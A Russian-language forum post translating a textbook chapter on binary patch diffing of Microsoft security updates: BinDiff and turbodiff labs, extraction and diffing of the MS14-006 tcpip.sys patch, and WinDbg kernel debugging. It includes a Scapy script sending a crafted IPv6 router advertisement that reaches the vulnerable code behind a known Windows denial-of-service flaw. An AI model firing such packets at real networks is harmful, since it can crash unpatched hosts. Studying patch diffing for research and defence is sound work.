• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга 1-Day эксплойты - анализ патчей безопасности Microsoft v1.0

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
В ответ на прибыльный рост исследований уязвимостей уровень интереса к двоичному анализу исправленных уязвимостей продолжает расти. Раскрытые в частном порядке и обнаруженные внутри уязвимости обычно предлагают ограниченные технические детали. Процесс бинарного поиска можно сравнить с поиском сокровищ, где исследователям предоставляется ограниченная информация о местонахождении и подробностях уязвимости или "захороненного сокровища". При наличии соответствующих навыков и инструментов исследователь может найти и идентифицировать изменения кода, а затем разработать рабочий эксплоит.

В этой главе мы рассмотрим следующие темы

- Приложение и сравнение патча
- Бинарные инструменты для сравнения
- Процесс управления патчами
- Real-world сравнения

Введение в двоичное сравнение

Когда вносятся изменения в скомпилированный код, такой как библиотеки, приложения и драйверы, различие между пропатченной и непроченной версиями может дать возможность обнаружить уязвимости. На самом базовом уровне двоичное сравнение - это процесс определения различий между двумя версиями одного и того же файла. Возможно, наиболее распространенной целью двоичных сравнений являются исправления Microsoft; однако это может быть применено ко многим различным типам скомпилированного кода. Доступны различные инструменты для упрощения процесса бинарного сравнения, что позволяет эксперту быстро определять изменения кода в представлении дизассемблирования.

Application Diffing

Новые версии приложений обычно выпускаются. Обоснование выпуска может включать в себя введение новых функций, изменения кода для поддержки новых платформ или версий ядра, использование новых элементов управления безопасностью во время компиляции, таких как canaries, и устранение уязвимостей. Часто новая версия может включать в себя комбинацию вышеупомянутых рассуждений. Чем больше изменений в коде приложения, тем сложнее будет выявить какие-либо исправленные уязвимости. Большая часть успеха в выявлении изменений кода, связанных с исправлениями уязвимостей, зависит от ограниченного раскрытия. Многие организации предпочитают предоставлять минимальную информацию о природе патча безопасности. Чем больше улик мы можем получить из этой информации, тем больше у нас шансов обнаружить уязвимость. Эти типы подсказок будут показаны в реальных сценариях позже в этой главе.

Простой пример фрагмента кода C, который включает уязвимость, показан здесь:

C:
/* Unpatched code that includes the unsafe gets() function. */
int get_Name(){
    char name[20];
          printf("\nPlease state your name: ");
          gets(name);
          printf("\nYour name is %s.\n\n", name);
          return 0;
}

И вот исправленный код:

C:
/* Patched code that includes the safer fgets() function. */
int get_Name(){
    char name[20];
          printf("\nPlease state your name: ");
          fgets(name, sizeof(name), stdin);
          printf("\nYour name is %s.\n\n", name);
          return 0;
}

Проблема с первым фрагментом кода заключается в использовании функции gets(), которая не предлагает проверки границ, что приводит к возможности переполнения буфера. В исправленном коде используется функция fgets(), которая требует аргумента размера, что помогает предотвратить переполнение буфера. Функция fgets() считается устаревшей и, вероятно, не лучшим выбором из-за невозможности правильно обрабатывать нулевые байты, например, в двоичных данных; тем не менее, это лучший выбор, чем gets(). Мы рассмотрим этот простой пример позже с помощью бинарного инструмента для получения различий.

Patch Diffing

Исправления безопасности, от Microsoft и Oracle, являются одной из самых прибыльных целей для двоичного сравнения. У Microsoft хорошо спланированный процесс управления исправлениями, который следует ежемесячному графику, когда исправления выпускаются во второй вторник каждого месяца. Исправленные файлы чаще всего представляют собой библиотеки динамических ссылок (DLL) и файлы драйверов. Многие организации не исправляют свои системы быстро, предоставляя злоумышленникам и пентестерам возможность скомпрометировать эти системы с помощью публично раскрытых или разработанных в частном порядке эксплоитов с помощью сравнения пата. В зависимости от сложности исправленной уязвимости и сложности поиска соответствующего кода, иногда можно быстро разработать рабочий эксплоит в течение нескольких дней после выпуска исправления. Эксплоиты, разработанные после обратных исправлений безопасности, обычно называют 1-day эксплоитами.

По мере продвижения по этой главе вы быстро увидите преимущества распространения изменений кода в драйверах, библиотеках и приложениях. Несмотря на то, что это не новая дисциплина, бинарное сравнение продолжает привлекать внимание исследователей, хакеров и поставщиков безопасности как эффективный метод выявления уязвимостей и получения прибыли. Ценник на 1-dayэксплойт не так высок, как на 0-day эксплойт; тем не менее, нередко можно видеть пятизначные выплаты за весьма востребованные эксплоиты.

Инструменты для бинарного сравнения

Ручной анализ скомпилированного кода больших двоичных файлов с использованием дизассемблеров, таких как Interactive Disassembler (IDA), может быть сложной задачей даже для самого опытного исследователя. Благодаря использованию свободно доступных и коммерчески доступных бинарных инструментов для различий, процесс сосредоточения внимания на интересующем коде, связанном с исправленной уязвимостью, может быть упрощен. Такие инструменты могут сэкономить сотни часов времени, затрачиваемого на изменение кода, который может не иметь отношения к искомой уязвимости. Вот четыре наиболее широко известных бинарных инструмента для сравнения:

- Zynamics BinDiff (коммерческий продукт, 200 долларов США) Приобретенный Google в начале 2011 года, Zynamics BinDiff доступен по адресу www.zynamics.com/bindiff.html. Требуется лицензионная версия IDA версии 5.5 или новее.
- turbodiff (бесплатный продукт) Разработанный Nicolas Economou из Core Security, turbodiff доступен по следующему адресу:http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff. Может использоваться с бесплатной версией IDA 4.9 или 5.0.
- patchdiff2 (бесплатный продукт) Разработанный Nicolas Pouvesle, patchdiff2 доступен по адресу https://code.google.com/p/patchdiff2/. Требуется лицензионная версия IDA 6.1 или новее.
- DarunGrim (бесплатный продукт) Разработано Jeong Wook Oh (Matt Oh), DarunGrim доступен на www.darungrim.org. Требуется последняя лицензионная версия IDA.

Каждый из этих инструментов работает как плагин для IDA, используя различные методы и эвристики для определения изменений кода между двумя версиями одного и того же файла. При использовании каждого инструмента для одних и тех же входных файлов могут быть разные результаты. Каждому из инструментов требуется возможность доступа к файлам базы данных IDA (.idb), следовательно, требуется лицензионная версии IDA или бесплатная версия для turbodiff. Для примеров в этой главе мы будем использовать коммерческий инструмент BinDiff, а также turbodiff, поскольку он работает с бесплатной версией IDA 5.0, которая все еще доступна на сайте Hex-Rays по следующему адресу: www.hex-rays.com/products/ida/support/download_freeware.shtml

Это позволит тем, у кого нет коммерческой версии IDA, иметь возможность выполнять упражнения. DarunGrim - это один из четырех упомянутых инструментов, который, по-видимому, все еще активно поддерживается публично выпускаемыми обновлениями, а недавно объявили о DarunGrim4. DarunGrim требует немного больше времени для настройки, но поставляется с некоторой фантастической интеграцией с IDA и архивированием патчей. Авторы каждого из этих инструментов должны быть высоко похвалены за предоставление таких замечательных инструментов.

BinDiff

Как уже упоминалось ранее, в начале 2011 года Google приобрела немецкую компанию по разработке программного обеспечения Zynamics вместе с известным исследователем Thomas Dullien, также известным как Halvar Flake, который является руководителем исследований. Zynamics был широко известен инструментами BinDiff и BinNavi, оба из которых помогают в реверс-инжиниринге. После приобретения Google значительно снизил цены на эти инструменты, сделав их гораздо более доступными. Новые версии инструментов обычно не выпускаются, причем BinDiff 4 является самой последней версией, выпущенной еще в декабре 2011 года. Несмотря на это, BinDiff часто называют одним из лучших инструментов в своем роде, обеспечивающим глубокий анализ изменений блоков и кода.

BinDiff поставляется в виде пакета установщика Windows (.msi) при покупке. Для установки требуется всего несколько щелчков мыши и лицензионная копия IDA версии 5.5 или более поздней. Чтобы использовать BinDiff, вы должны разрешить IDA выполнять автоматический анализ двух файлов, которые вы хотите сравнить и сохранить файлы IDB. Как только это будет завершено, и когда один из файлов будет открыт внутри IDA, вы нажимаете CTRL+6, чтобы вызвать графический интерфейс BinDiff, как показано здесь:

1.png


Следующий шаг - нажать кнопку Diff Database и выбрать другой файл IDB для сравнения. В зависимости от размера файлов, это может занять минуту или две, чтобы закончить. После завершения сравнения в IDA появятся несколько новых вкладок, в том числе Matched Functions, Primary Unmatched и Secondary Unmatched. Вкладка Matched Functions содержит функции, которые существуют в обоих файлах, которые могут включать или не включать изменения.
Каждой функции присваивается значение от 0 до 1,0 в столбце Similarity, как показано ниже. Чем ниже значение, тем больше функция изменилась между двумя файлами. Как сказано в Zynamics относительно вкладок Primary Unmatched и Secondary Unmatched: "Первая отображает функции, которые содержатся в текущей открытой базе данных и не были связаны с какой-либо функцией базы данных diffed, в то время как Secondary Unmatched subview содержит функции, которые есть в базе сравнения, но не были связан с любыми функциями в первую очередь. "

2.png


Важно для сравнения получить правильные версии файла, чтобы получить наиболее точные результаты. Отправляясь в Microsoft TechNet для приобретения исправлений, вы увидите колонку в правом нижнем углу под названием "Updates Replaced". Нажав на ссылку в этом месте, вы перейдете к предыдущему последнему обновлению файла, который был исправлен. Файл, такой как mshtml.dll, исправляется почти каждый месяц. Если вы сравните версию файла несколькими месяцами ранее с только что выпущенным патчем, количество различий между этими двумя файлами сильно затруднит анализ. Другие файлы исправляются не очень часто, поэтому, нажав вышеупомянутую ссылку Updates Replaced, вы перейдете к последнему обновлению рассматриваемого файла, чтобы вы могли найти нужные версии. После того, как интересующая функция идентифицирована с помощью BinDiff, можно сгенерировать визуальное представление сравнения, либо щелкнув правой кнопкой мыши нужную функцию на вкладке Matched Functions и выбрав View Flowgraphs, либо щелкнув нужную функцию и нажав CTRL+E. Ниже приведен пример визуального различия. Обратите внимание, что не ожидается, что вы можете прочитать дизассемблерный код, потому что он уменьшен, чтобы поместиться на странице.

3.png





turbodiff

Другой инструмент, который мы рассмотрим в этой главе это turbodiff. Этот инструмент был выбран из-за его способности работать с бесплатной версией IDA 5.0, которая все еще доступна для загрузки на веб-сайте Hex-Rays. DarunGrim и patchdiff2 также являются отличными инструментами; тем не менее, для их использования требуется лицензионная копия IDA, что делает невозможным чтение книг, выполненных в этой главе, без владения или приобретения лицензионной копии. DarunGrim и patchdiff2 удобны для пользователя и просты в настройке с помощью IDA. Доступна литература для помощи в установке и использовании (см. Раздел For Further Reading в конце этой главы).

Как упоминалось ранее, плагин turbodiff можно приобрести на веб-сайте http://corelabs.coresecurity.com/, и его можно бесплатно загрузить и использовать по лицензии GPLv2. Последним стабильным выпуском является версия 1.01b_r2, выпущенная 19 декабря 2011 года. Чтобы использовать turbodiff, вы должны загрузить два файла, которые будут показаны по одному в IDA. После того, как IDA завершит автоматический анализ первого файла, нажмите CTRL+F11, чтобы вызвать всплывающее меню turbodiff. Из опций при первом анализе файла выберите "take info from this idb" и нажмите "ОК". Повторите те же шаги для другого файла, который будет включен в сравнение. После того, как это будет выполнено для обоих файлов, которые необходимо проверить, снова нажмите CTRL+F11, выберите опцию compare with…, а затем выберите другой файл IDB. Должно появиться следующее окно:

4.png


В столбце категории вы можете увидеть такие метки, как идентичные, подозрительные+, подозрительные++ и измененные. Каждый ярлык имеет значение и может помочь инспектору увеличить наиболее интересные функции, в первую очередь ярлыки suspicious+ и suspicious++. Эти метки указывают, что контрольные суммы в одном или нескольких блоках в пределах выбранной функции были обнаружены, а также изменилось или нет количество команд. Когда вы дважды щелкаете мышью по имени нужной функции, отображается визуальное сравнение с каждой функцией, отображаемой в своем собственном окне, как показано здесь:

5.png


В этой лабораторной работе вы выполните простое сравнение с кодом, ранее показанным в разделе Application Diffing. Двоичные файлы ELF name и name2 должны сравниваться. Файл name является непропатченным, а name2 — пропатченным. Сначала вы должны запустить бесплатную IDA free 5.0, которое вы ранее установили. Как только она будет запущена, перейдите в File|New, выберите вкладку Unix из всплывающего окна и нажмите опцию ELF слева, как показано здесь, и затем нажмите OK.

6.png


Перейдите в папку C:\grayhat\app_diff\ и выберите файл name. Примите параметры по умолчанию, которые появляются. IDA должна быстро завершить свой автоанализ, по умолчанию используя функцию main() в окне дизассемблера, как показано ниже:

7.png


Нажмите CTRL+F11, чтобы открыть всплывающее окно turbodiff. Если оно не появляется, вернитесь назад и убедитесь, что вы правильно скопировали необходимые файлы для turbodiff. В окне turbodiff на экране выберите опцию "take info from this idb" и нажмите "ОК", а затем еще один раз "ОК". Далее перейдите в File | New, и вы получите всплывающее окно с вопросом, хотите ли вы сохранить базу данных. Примите значения по умолчанию и нажмите "ОК". Повторите шаги выбора вкладки UNIX|ELF Executable и нажмите кнопку "ОК". Откройте двоичный файл ELF name2 и примите значения по умолчанию. Повторите шаги, чтобы открыть всплывающее окно turbodiff и выбрать опцию "take info from this idb".

Теперь, когда вы завершили это для обоих файлов, снова нажмите CTRL+F11, файл name2 все еще открыт в IDA. Выберите опцию "compare with…" и нажмите "ОК". Выберите файл name.idb и нажмите "ОК", а затем еще один "ОК". Должно появиться следующее окно (возможно, вам придется отсортировать по категориям, чтобы повторить точное изображение):

8.png


Обратите внимание, что функция getName() помечена как "suspicious ++". Дважды щелкните функцию getName(), чтобы открыть следующее окно:

9.png


На этом изображении левое окно показывает пропатченную функцию, а правое окно показывает непропатченную функцию. Непатченный блок использует функцию gets(), которая не выполняет проверку границ. Патченный блок использует функцию fgets(), которая требует аргумент размера, чтобы предотвратить переполнение буфера. Пропатченный дизассемблерный код показан здесь:

mov eax, ds:stdin@@GLIBC_2_0
mov [esp+38h+var_30], eax
mov [esp+38h+var_34], 14h
lea eax, [ebp+var_20]
mov [esp+38h+var_38], eax
call _fgets

В двух функциях было несколько дополнительных блоков кода, но они белого цвета и не содержат измененного кода. Это просто код защиты стека, который проверяет наличие canaries, за которым следует эпилог функции. К этому моменту вы завершили лабораторную работу. Двигаясь вперед, мы посмотрим real-world различия.


Процесс управления патчами

У каждого поставщика есть свой собственный процесс распространения исправлений, в том числе Oracle, Microsoft и Apple. Некоторые поставщики имеют установленный график выпуска исправлений, тогда как другие не имеют установленного графика. Постоянный цикл выпуска исправлений, например, используемый Microsoft, позволяет лицам, ответственным за управление большим количеством систем, планировать соответственно. Внешние исправления могут быть проблематичными для организаций, потому что не может быть ресурсов, доступных для развертывания обновлений. Мы сконцентрируемся в первую очередь на процессе управления исправлениями Microsoft, потому что это зрелый процесс, который часто предназначен для выявления уязвимостей с целью получения прибыли.

Microsoft Patch Tuesday

Во второй вторник каждого месяца проводится ежемесячный цикл исправлений Microsoft, с периодическими внеполосными исправлениями из-за критического обновления. Сводку по каждому обновлению можно найти по адресу https://technet.microsoft.com/en-us/security/bulletin. Патчи обычно получают с помощью средства Центра обновления Windows из панели управления Windows или централизованно управляют таким продуктом, как службы обновления Windows Server (WSUS). Когда патчи нужны для сравнения, их можно получить по вышеупомянутой ссылке TechNet. На следующем изображении показан пример доступных обновлений:
10.png


Каждый из этих бюллетеней исправлений связан с дополнительной информацией об обновлении. Некоторые обновления являются результатом публично обнаруженной уязвимости, в то время как большинство происходит посредством какой-либо формы скоординированного частного раскрытия. На следующем рисунке показан пример одной такой уязвимости, раскрытой в частном порядке:

11.png

Как видите, об этой уязвимости предоставляется только ограниченная информация. Чем больше информации предоставлено, тем больше вероятность того, что кто-то сможет быстро найти пропатченный код и создать рабочий эксплоит. В зависимости от размера обновления и сложности уязвимости, обнаружение только исправленного кода может быть сложной задачей. Часто уязвимое состояние является только теоретическим или может быть вызвано только в очень специфических условиях. Это может увеличить сложность в определении основной причины и создании проверочного кода, который успешно вызывает ошибку. Как только основная причина определена и уязвимый код достигнут и доступен для анализа в отладчике, необходимо определить, насколько сложно будет выполнить код, если это применимо.

Лабораторная работа 19-2. Получение и извлечение исправлений Microsoft

Давайте потратим немного времени на скачивание и извлечение патча Microsoft. Мы проанализируем обновление "MS14-006 - Уязвимость в IPv6 делает возможным отказ в обслуживании (2904659)". Ссылку на этот бюллетень можно найти по адресу https://technet.microsoft.com/en-us/library/security/ms14-006.aspx. Это объявление является хорошим примером ошибки, которая была обнародована, и количества доступных деталей позволяет нам легче идентифицировать исправленный код, представляющий интерес. Если вы нажмете на ссылку, вы увидите, что исправление применяется к операционным системам Windows 8.0 (32-разрядная и 64-разрядная), Windows Server 2012 (32-разрядная и 64-разрядная версия) и Windows RT. Патч не распространяется на Windows 8.1, потому что эта версия уже имела исправленный код. Давайте скачаем патч и распакуем его содержимое. Вам понадобится Windows 8.0 (32-разрядная или 64-разрядная версия) для этой лабораторной работы. Перейдите в раздел Affected Software на веб-странице. Как показано на следующем рисунке, два варианта предназначены для 32-разрядной версии Windows 8 и 64-разрядной версии Windows 8.

12.png


Если у вас нет лицензионной версии IDA, вам нужно будет выбрать 32-разрядную версию, чтобы вы могли использовать инструмент turbodiff для анализа файлов. Бесплатная IDA 5.0 не поддерживает 64-битные файлы. В этой главе мы сосредоточимся в первую очередь на 64-битной версии, но также будет показана 32-битная версия для демонстрации анализа turbodiff.

Нажмите на соответствующую ссылку, а затем нажмите кнопку Скачать, как показано на следующем рисунке:

13.png


Сохраните файл Windows8-RT-KB2904659-x64.msu (или 32-разрядную версию) в C:\grayhat\ms14-006\patched\. Затем перейдите в эту папку с помощью командной оболочки. Чтобы извлечь патч, мы будем использовать инструмент расширения, который поставляется с Windows по умолчанию. Запустите следующую команду:

c:\grayhat\MS14-006\patched>expand -F:* Windows8-RT-KB2904659-x64.msu .
Microsoft (R) File Expansion Utility Version 6.1.7600.16385
Copyright (c) Microsoft Corporation. All rights reserved.
Adding .\WSUSSCAN.cab to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64.cab to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64-pkgProperties.txt to Extraction Queue
Adding .\Windows8-RT-KB2904659-x64.xml to Extraction Queue
Expanding Files ....
Expanding Files Complete ...
4 files total.

Как видите, было извлечено несколько файлов. Далее нам нужно извлечь файл .cab. Запустите ту же команду expand, что и раньше, но для этого файла:

c:\grayhat\MS14-006\patched>expand -F:* Windows8-RT-KB2904659-x64.cab .

Вывод команды не отображается из-за большого количества извлеченных файлов. Выполните следующую команду, чтобы просмотреть только извлеченные каталоги (выходные данные усекаются):

c:\grayhat\MS14-006\patched>dir /AD
Directory of c:\grayhat\MS14-006\patched
05/29/2014 12:59 PM <DIR> amd64_microsoft-windows-tcpip-binaries_31
bf3856ad364e35_6.2.9200.16754_none_0c083112f01217b6
05/29/2014 12:59 PM <DIR> amd64_microsoft-windows-tcpip-binaries_31
bf3856ad364e35_6.2.9200.20867_none_0c89fed009351f76

Перейдите к первой папке с "6.2.9200.16754" в заголовке. При запуске команды dir в этой папке вы можете видеть, что там находится файл tcpip.sys вместе с файлом fwpkclnt.sys. Нас интересует драйвер tcpip.sys. Затем загрузите непропатченный файл tcpip.sys, который будет использоваться в diff.

Теперь у вас есть оба готовых файла для сравнения.

Изучение патча

Позже вы увидите, что анализируемый вами патч датируется октябрём 2013 года, хотя этот патч не был выпущен до февраля 2014 года. Это связано с тем, что Windows 8.1 была выпущена с исправленным кодом, но патч не был выпущен для Windows 8.0 и Server 2012. Windows 7 и другие операционные системы исключены из этого обновления. Nicolas Economou из Core Security опубликовал в блоге, в котором говорится, что Core Security связался с Microsoft, чтобы спросить, почему Windows 7 не была включена в состав патча. Microsoft ответила, что Windows 8 и Server 2012 потенциально могут получить «голубой экран смерти» (BSoD) из-за ошибки, но Windows 7 и другие версии не имеют этой проблемы.


BinDiff будет использоваться для проверки патча tcpip.sys для 64-разрядной версии Windows 8.0. Затем у нас будет лабораторная, использующая turbodiff для 32-битной версии Windows 8.0. Сначала мы должны разрешить IDA выполнить автоматический анализ в отношении как непатченных, так и пропатченных версий файла tcpip.sys. Завершив это, и с непропатченной версией файла, загруженной в данный момент, мы можем нажать CTRL+6, чтобы вызвать всплывающее окно BinDiff, и выбрать пропатченную версию tcpip.sys для diff. После того, как это выполнено, мы можем взглянуть на вкладку Matched Functions и увидеть довольно много функций, которые включают изменения. За прошедшие годы было проведено много исследований способов обфускации процесса обновления патча, чтобы эти методы сравнения были эффективными. Jeong Wook Oh выпустил отличную статью на BlackHat 2009 на эту тему. Проверьте раздел "For Further Reading" для получения ссылки. Еще одна хорошая статья о диверсификации двоичного кода также указана ниже. Исторически Microsoft не имела возможности участвовать в обфускации большого количества кода, чтобы предотвратить взлом приложений; однако часто отмечалось, что количество измененных функций при изменении патча значительно увеличилось за эти годы, и сделало анализ более сложным. Можно только полагать, что выполняются трюки с обфускацией, например, переупорядочивание команд.

К счастью, Microsoft, как и некоторые другие вендоры, предоставляют символы. Эти символы чрезвычайно полезны, потому что мы часто можем соотнести информацию, представленную в бюллетене патча, с очевидными именами символов. Когда мы смотрим на CVE-2014-0254, который связан с исправленной уязвимостью и на сайте говориться "Реализация IPv6 в Microsoft Windows 8, Windows Server 2012 и Windows RT неправильно проверяет пакеты, который позволяет удаленным злоумышленникам вызывать отказ в обслуживании (зависание системы) с помощью специально созданных пакетов объявления маршрутизатора ICMPv6, или "Уязвимость отказа в обслуживании в TCP/IP версии 6 (IPv6)". Уже несколько лет известно, что, отправляя объявления о маршрутах IPv6 с использованием случайного MAC-адреса и случайного префикса маршрута IPv6, вы можете вызвать отказ в обслуживании для множества различных устройств. Поскольку мы знаем, что уязвимость связана с IPv6, и что задействован анонс маршрутов с использованием префиксов , давайте посмотрим на имена символов, которые отображаются как измененные после сравнения.

Обращая внимание на имена, начинающиеся с "IPv6", мы видим следующие функции, которые включают изменения (обратите внимание, что этот список был усечен):

14.png

Некоторые имена функций явно выделяются, например, Ipv6pUpdateSitePrefix и Ipv6pHandleRouterAdvertise. При проверке функции Ipv6pUpdateSitePrefix внутри IDA и получении перекрестных ссылок с помощью CTRL-X мы видим, что перечислены только две функции:

15.png


Давайте выполним визуальный анализ функции Ipv6pUpdateSitePrefix, щелкнув ее имя на вкладке Matched Functions и нажав CTRL+E. Если посмотреть на две функции с высоким уровнем, мы увидим довольно много изменений, как показано ниже:

16.png


Когда мы увеличиваем изменения, трудно понять, на какой контент указывает каждый регистр.


Это требует сеанса отладки, чтобы все поставить на свои места, что может занять очень много времени. Что можно быстро заметить, так это то, что как неппропатченный файл, так и пропатченный файл имеют одинаковый блок с обеих сторон, который вызывает функцию ExAllocatePoolWithTag. Изучив эту функцию в MSDN, мы увидим, что она имеет следующее назначение: "Процедура ExAllocatePoolWithTag выделяет пул памяти указанного типа и возвращает указатель в RAX или EAX на выделенный блок".

PVOID ExAllocatePoolWithTag(
_In_ POOL_TYPE PoolType,
_In_ SIZE_T NumberOfBytes,
_In_ ULONG Tag
);

Перед этим вызовом в пропатченном коде проводится сравнение между смещением +1E8h c 64-битным регистром RDI и значением 0xA (10). Это сравнение не существует в непропатченном коде, что именно то, что Nicolas Economou заметил в своем блоге с файлом 32-битного драйвера. Инструкция после сравнения - JNB (короткий переход, если не ниже), в результате чего при выполнении перехода не выделяется пул ядра. Итак, другими словами, если значение, на которое указывает смещение от RDI, равно 0–9, мы выделяем память; в противном случае мы переходим к функции эпилога. Инструкция JNB проверяет флаг переноса (CF), чтобы определить условие.

17.png



В следующем блоке кода сразу после вызова ExAllocatePoolWithTag (не показан на предыдущем изображении) выполняется инструкция inc dword ptr [rdi + 1E8h]. Первая инструкция перед вызовом для выделения памяти пула ядра проверяет, меньше ли значение в этом месте, чем 10, и, если мы сделаем это до этой точки после выделения, мы увеличиваем это значение на 1. Это счетчик для чего-то, но нам нужно больше контекста. Чтобы получить этот контекст, нам нужно настроить сеанс отладки ядра с WinDbg, поскольку драйвер tcpip.sys работает в кольце 0.

Лабораторная 19-3: Сравнение MS14-006 с помощью turbodiff

Прежде чем перейти к сеансу отладки ядра, мы будем использовать это время чтобы достичь той же точки с использованием turbodiff для 32-битной версией обновления. Начните с открытия бесплатной версии IDA 5.0, описанной ранее. Перейти к File | Open и перейдите в каталог C:\grayhat\MS14-006\ и откройте 32-разрядную непропатченную версию tcpip.sys. Примите все значения по умолчанию и разрешите IDA выполнить автоматический анализ, который может занять несколько минут.

После того, как автоматический анализ закончен на непропатьченной версии, нажмите CTRL+F11, чтобы вызвать всплывающее окно с turbodiff, выберите опцию "take info from this idb" и дважды нажмите "ОК". Повторите эти шаги для исправленной версии 32-битного файла tcpip.sys, включая команды turbodiff. После того, как вы выполнили это для обоих файлов, с одним из файлов, загруженных в IDA, снова нажмите CTRL+F11, чтобы вызвать всплывающее окно с turbodiff. Выберите опцию "compare with…" и дважды нажмите "ОК". Теперь у вас должно появиться следующее окно на вашем экране:

18.png

Сортируем по имени и переходим к функции Ipv6pUpdateSitePrefix. Дважды щелкните эту функцию, чтобы вызвать визуальный инструмент. Найдите следующий блок кода в пропатченной версии и найдите его в "непропатченном окне". Самый быстрый способ это определить функцию ExAllocatePoolWithTag в обоих окнах.

19.png


На этом изображении мы видим тот же блок кода, который сравнивает некоторую переменную с 0xA (10). На этот раз сравнивается указатель ebx+148h, потому что это 32-битная версия. Потратьте некоторое время на дизассемблерный код. Далее мы перейдем к сеансу отладки ядра.

Kernel Debugging

Теперь мы должны установить сеанс отладки ядра, чтобы двигаться далее. Нам нужно будет использовать WinDbg, потому что он поддерживает отладку Ring 0. Самый простой способ запустить его в работу - это использовать хост-систему Windows 7 или Windows 8, при этом VMware Workstation работает под управлением гостевой ОС Windows 8.0. Если у вас нет копии VMware Workstation, вы можете получить бесплатную 30-дневную пробную версию на сайте www.vmware.com. Чтобы настроить отладочную связь ядра между хостом и гостевой ОС, мы будем использовать VirtualKD от SysProgs. Вы можете скачать инструмент по адресу http://virtualkd.sysprogs.org/. VirtualKD - это удивительный бесплатный инструмент, который позволяет легко отлаживать адро Windows, что значительно повышает производительность. В этом разделе мы будем использовать его с 64-разрядной ОС Windows 8, а затем пройдем процедуру установки 32-разрядной версии в следующей лабораторной. Ниже приведен снимок экрана, показывающий VirtualKD с активным сеансом отладки ядра для 64-разрядной виртуальной машины Windows 8:

20.png


При активном сеансе отладки ядра нам нужно установить несколько точек останова и создать скрипт, который будет запускать блок кода. Мы будем использовать следующий код Python с Scapy, чтобы убедиться, что мы попали в нужный блок кода.

Python:
from scapy.all import *
pkt = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:00:0c"))
sendp(pkt,count=1)

Этот код просто создает один пакет объявления маршрута IPv6, используя случайный MAC-адрес с OUI Cisco Systems для первой половины (00:00:0c) и случайный префикс IPv6. Мы назовем скрипт IPv6_RA.py и запустим его на Kali Linux. Виртуальная машина Kali Linux должна находиться в той же локальной подсети, что и целевая виртуальная машина Windows 8.

Когда скрипт готов к работе, нам нужно установить точки останова. Ранее мы смотрели на сравнение некоторой хранимой переменной и 0xA (10), после чего следовала инструкция JNB. Если мы не делаем переход, мы вызываем ExAllocatePoolWithTag, а затем увеличиваем вышеупомянутую переменную на 1. Поскольку ASLR работает в целевой системе, нам нужно установить точки останова в WinDbg как смещение от имени символа Ipv6pUpdateSitePrefix. Мы используем 64-разрядную виртуальную машину Windows 8.0 с патчем MS14-006 (KB2904659), примененным для достижения контрольных точек для проверки. Если посмотреть на пропатченную функцию Ipv6pUpdateSitePrefix внутри IDA и щелкнуть инструкции, ссылающиеся на "rdi+ 1E8h", как показано далее, мы можем получить смещения, которые будут использоваться для наших точек останова в WinDbg.


21.png


Эти точки останова позволят нам увидеть, что "rdi + 1E8h" хранится до и после выделения пула ядра. Ниже показаны точки останова, устанавливаемые после перезагрузки символов:

nt!DbgBreakPointWithStatus:
fffff801'0b0f3930 cc int 3
kd> .reload
Connected to Windows 8 9200 x64 target at (Fri May 30 12:04:23.037 2014
(UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
..........
Loading User Symbols
kd> bp tcpip!Ipv6pUpdateSitePrefix+112
kd> bp tcpip!Ipv6pUpdateSitePrefix+156
kd> bl
0 e fffff880'01b26c02 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x112
1 e fffff880'01b26c46 0001 (0001) tcpip!Ipv6pUpdateSitePrefix+0x156

Теперь, когда мы настроили наши точки останова, мы запустим скрипт Scapy для отправки одного объявления маршрута IPv6:

root@kali:~# python IPv6_RA.py
.
Sent 1 packets.


Глядя на WinDbg, мы видим, что первая точка останова успешно достигнута, и мы проверяем значение, сохраненное в "rdi+ 1E8h":


Breakpoint 0 hit
tcpip!Ipv6pUpdateSitePrefix+0x112:
fffff880'01b26c02 83bfe80100000a cmp dword ptr [rdi+1E8h],0Ah
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000

В настоящее время сохранено значение 0. Затем мы нажимаем F5 для продолжения и достигаем следующей точки останова:

kd> g
Breakpoint 1 hit
tcpip!Ipv6pUpdateSitePrefix+0x156:
fffff880'01b26c46 ff87e8010000 inc dword ptr [rdi+1E8h]
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000000
kd> t
tcpip!Ipv6pUpdateSitePrefix+0x15c:
fffff880'01b26c4c 488b4e08 mov rcx,qword ptr [rsi+8]
kd> dd rdi+1E8h l1
fffffa80'0ef241f8 00000001

При проверке значения в "rdi + 1E8h" после достижения точки останова и пошагового выполнения с помощью команды t мы видим, что значение было увеличено до 1. Таким образом, каждый раз, когда мы попадаем на этот блок кода, значение, хранящееся в этом месте, увеличивается на 1 до достижения 0xA (10). В этот момент мы не выполняем распределение пула ядра, а вместо этого перенесемся в ветвь-функцию эпилога. Далее мы должны определить, для чего выделяется память. Если посмотреть на код непосредственно над инструкцией, которая увеличивает хранимое значение на 1, мы увидим следующее:

movups xmm0, [rsp+88h+var_58]
mov [rax+10h], rdi
mov [rax+18h], ebp
mov [rax+1Ch], r15d
mov [rax+20h], r13b
movdqu xmmword ptr [rax+22h], xmm0
inc dword ptr [rdi+1E8h]

Помните, RAX - это то, что возвращает указатель из распределения пула ядра. В предыдущих инструкциях вы можете видеть, что данные записываются в смещения из этого возвращаемого указателя. В первой инструкции вы можете видеть, что значение из стека, ссылающееся на регистр RSP, копируется в регистр xmm0 с помощью инструкции movups. Эта инструкция переводится как "Переместить невыровненные упакованные значения FP одинарной точности". Она перемещает двойное слово из одного места в другое. XMM0 – XMM7 и XMM8 – XMM16 - это 16-байтовые регистры, связанные с набором команд SSE2. Давайте установим точку останова в первой инструкции, чтобы увидеть, что копируется из стека в регистр XMM0. Если посмотреть на местоположение и смещение в IDA, мы увидим, что это смещение "+13Dh".

kd> bp tcpip!Ipv6pUpdateSitePrefix+13d

